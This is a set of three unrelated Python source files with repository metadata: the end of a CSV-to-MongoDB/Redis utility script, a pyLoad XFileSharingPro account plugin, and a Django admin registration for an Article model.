[encode(x) for x in infos] csv_write_dic(infos, filename) print filename, 'ok' return def csv_to_mongo(file_name): mongo_conn = pymongo.MongoClient("172.16.1.1", 27017) #选择数据库 db = mongo_conn['cuort'] #选择表 collection = db['info'] reader = csv.DictReader(open(file_name,"rb")) for dic in reader: collection.insert(handle_dict(dic)) return def csv_to_redis(file_name): conn = redis.StrictRedis.from_url('redis://192.168.1.1/0') reader = csv.reader(open(file_name,"rb")) infos = [] for i in reader: url, title = i[0], i[1] info = { "news_url":url, "title":title.decode('gbk'), } infos.append(json.dumps(info)) conn.lpush("sohu_reply_urls", *infos) return if __name__ == "__main__": dic = { "aaa":111, "bbb":111, } lis = [(1,2),(2,3)] #csv_write_dic(dic) #file_name = 'test.csv' #csv_read('111.csv') #csv_read_dic(file_name) #csv_write(lis, '', False) #redis_to_csv() #csv_read_dic("111.csv") #csv_to_csv_dic("111.csv") #csv_to_csv_dic("aaa.csv") #mysql_to_csv() #csv_to_mongo(u"aaa.csv") #csv_to_redis(u"aaaa.csv")
duanyifei/python_modules_test
test_csv.py
Python
gpl-3.0
6,342
# -*- coding: utf-8 -*- from pyload.plugin.internal.XFSAccount import XFSAccount class XFileSharingPro(XFSAccount): __name = "XFileSharingPro" __type = "account" __version = "0.06" __description = """XFileSharingPro multi-purpose account plugin""" __license = "GPLv3" __authors = [("Walter Purcaro", "[email protected]")] HOSTER_DOMAIN = None def init(self): if self.HOSTER_DOMAIN: return super(XFileSharingPro, self).init() def loadAccountInfo(self, user, req): return super(XFileSharingPro if self.HOSTER_DOMAIN else XFSAccount, self).loadAccountInfo(user, req) def login(self, user, data, req): if self.HOSTER_DOMAIN: try: return super(XFileSharingPro, self).login(user, data, req) except Exception: self.HOSTER_URL = self.HOSTER_URL.replace("www.", "") return super(XFileSharingPro, self).login(user, data, req)
ardi69/pyload-0.4.10
pyload/plugin/account/XFileSharingPro.py
Python
gpl-3.0
990
from django.contrib import admin # Register your models here. from .models import Article class ArticleAdmin(admin.ModelAdmin): """docstring for BlockAdmin""" list_display = ('title', 'author', 'channel', 'likes', 'views', 'comments_num', 'status', 'create_timestamp', 'update_timestamp') search_fields = ('title', 'author') list_filter = ('channel', 'status',) admin.site.register(Article, ArticleAdmin)
yqji/MySite
Code/DavidBlog/Article/admin.py
Python
gpl-3.0
465